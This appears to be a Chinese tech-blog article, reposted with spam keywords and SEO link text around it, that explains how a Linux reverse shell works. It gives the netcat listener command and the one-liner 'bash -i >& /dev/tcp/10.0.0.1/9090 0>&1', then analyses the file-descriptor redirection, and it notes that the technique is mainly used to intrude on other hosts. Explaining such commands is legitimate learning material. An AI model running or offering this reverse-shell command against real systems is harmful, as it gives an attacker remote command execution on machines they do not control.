成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

關于Linux的反彈shell命令的解析

系統 Linux
今天在看spark stream的sample樣例的時候看到linux的萬金油命令nc。搜索相關的內容突然發現一個很好玩的用處就是反彈shell.下面我們就來講講反彈shell。

今天在看spark stream的sample樣例的時候看到linux的萬金油命令nc。搜索相關的內容突然發現一個很好玩的用處就是反彈shell.下面我們就來講講反彈shell

1. 什么是反彈shell

簡單來說就是A主機可以通過執行B主機上的命令并且把返回值都返回到A上。

2. 反彈shell的用途

這個反彈shell大部分用途是用來侵入別人的主機。就是因為感覺很厲害的樣子,所以才來研究這家伙

3. 反彈shell操作步驟

3.1. 在本機開啟端口9090

  1. nc -lk 9090 

3.2. 在需要被控制的機器上執行如下兩種命令中的一種即可

  1. bash -i >& /dev/tcp/10.0.0.1/9090 0>&1 

3.3. 在本機剛才執行nc -lk 9090命令行下面輸入需要被控制的主機的命令即可

 

4. 原理

  1. A主機開啟9090端口的tcp服務
  2. B主機連接到A主機的9090的tcp服務
  3. A主機通過tcp服務把命令發到B主機
  4. B主機讀取命令并且在bash中執行
  5. B主機把執行結果發給A主機

這樣就可以在A主機中'玩弄'B主機了

下面重點來了

我們看這個操作其實還是蠻簡單的,但是我們不能只局限于表面。我們需要去了解它的原理

其實nc -lk 9090命令沒什么可說的,百度google一搜就出來了。我們今天要去解釋的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。這條命令在google也沒搜出來什么結果。所以只能自己加夜班搞了。

inux shell下常用的文件描述符是:

  1. 標準輸入 (stdin) :代碼為 0 ,使用 < 或 << ;
  2. 標準輸出 (stdout):代碼為 1 ,使用 > 或 >> ;
  3. 標準錯誤輸出(stderr):代碼為 2 ,使用 2> 或 2>>。

首先我們把這個命令拆解一下

  1. bash -i # 這個也不知道說啥 
  2.  
  3. >& # 這條命令 其實就是把stderr也輸入到 stdout。它相當于 `> xxx 2>&1` 
  4.  
  5. /dev/tcp/10.0.0.1/9090 # 這個就是連接到10.0.0.1的9090端口 
  6.  
  7. 0>&1 # 這個在google百度上查了半天也沒搞懂,只能去研究文檔  

其實前面3個命令組合在一起很好理解,就是把這個bash下的所有輸出都發送到 10.0.0.1:9090。這個大家可以自己操作一下,去掉后面的 0>&1。

我們在命令里面寫 2>&1都很好理解,就是把error重定向到stdout。但是0>&1好像不太好理解,我們看下文件描述符

 

這里看到的是2>&1就是把文件描述符2對應的設備改成了文件描述符1對應的設備。那么同理 0>&1就是把 0對應的設備改成的1對應的設備,那也就是socket。這就表明了 stdin就是從socket中讀取數據,然后再執行命令,把bash的命令行返回內容通過stdout發到socket。

其實這些內容都可以在bash的man pages里面找到

 

文檔里面寫的很清楚 n<&word 是吧word復制給n, n>&word是吧word復制給n。

所以這里寫 0<&1 或者是 0>&1都是可以的,只要把文件描述符1對應的設備復制給文件描述符0就可以了

參考文章 https://edu.aqniu.com/article/67 

責任編輯:龐桂玉 來源: segmentfault
相關推薦

2010-11-02 21:17:17

2009-08-07 10:18:13

Linux反彈CmdLine S技巧

2015-03-06 15:43:39

2009-07-19 10:48:53

LinuxWebShell反彈CmdLine She

2020-02-28 14:05:00

Linuxshell命令

2009-12-25 09:47:05

LinuxShell編程bash

2010-03-23 15:24:45

Linux shell

2014-07-31 11:24:21

Linuxshell命令

2011-01-18 13:53:42

Linux Shell命令

2010-05-26 18:52:28

Linux 查看性能

2019-12-01 22:59:43

Linux shell命令進程

2019-07-29 15:36:15

Linuxshell內置命令

2010-03-08 10:49:29

Linux scp命令

2009-12-18 08:57:27

Linux shell

2009-07-31 18:48:35

linux vi命令linux vi命令詳替換命令

2010-06-23 17:37:14

Linux Bash

2010-06-23 17:34:03

Linux Bash

2010-07-19 13:23:03

Linux Telne

2010-06-23 16:05:36

Linux Bash

2010-06-11 11:20:18

Linux性能測試工具
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 成人一区在线观看 | 国内自拍真实伦在线观看 | 五月婷亚洲 | 一区二区视频 | 国产免费一区二区 | 久久精品国产一区二区电影 | 黄色在线观看网址 | 午夜一区二区三区在线观看 | 欧美福利网站 | 男女羞羞视频免费看 | 午夜综合 | 一二三区视频 | 欧美专区在线 | 国产精品免费一区二区三区 | 久久一区二区视频 | 国产区高清 | 亚洲成人黄色 | av在线亚洲天堂 | 日韩欧美理论片 | 日一区二区 | 日日摸日日添日日躁av | 亚洲成av人片在线观看 | 国产精品视频一区二区三 | 久久精品国产一区二区电影 | 一级毛片色一级 | www久久国产 | 日韩免费电影 | 亚洲欧美在线观看视频 | 国产精品久久久久久一区二区三区 | 欧美精品国产一区二区 | 欧美激情久久久 | 亚洲视频三区 | 九九热视频这里只有精品 | 午夜电影网站 | 亚洲永久精品国产 | 羞羞涩涩在线观看 | 国产一区二区黑人欧美xxxx | 午夜影院在线观看版 | 欧美日韩亚洲在线 | 亚洲精品小视频在线观看 | 在线观看成人av |